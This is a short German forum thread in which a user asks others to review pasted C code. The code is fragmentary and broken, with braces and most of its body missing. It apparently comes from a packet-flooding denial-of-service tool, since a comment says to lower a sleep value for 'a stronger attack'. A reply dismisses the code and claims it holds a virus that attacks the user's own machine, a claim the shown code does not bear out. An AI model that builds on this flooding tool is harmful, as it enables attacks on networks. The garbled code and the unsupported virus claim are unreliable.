Code mal anschauen

hi könnt ihr bitte mal den code anschauen, ob das so gut ist?

#include <stdio.h>
#include <stdlib.h>

	printf("Usage:\n");

	exit(1);
}

int main(int argc, char **argv) {
	long port, packetsize, numpackets, sockfd, packcount = 0, i, numbytes;
	char *ip;
	struct sockaddr_in their_addr;

	if (argc != 5) {

	}

		}
		}

		/* Decrease (not increase) this value to use more bandwidth (and cpu) thus resulting in a stronger attack. */

		usleep(100);

		if (numpackets == 0)

danke im vorraus

Der Code ist Mist.
Der enthält ja einen Virus, der den eigenen Rechner angreift.

P.S.: Wer ist "lickpussy" ?
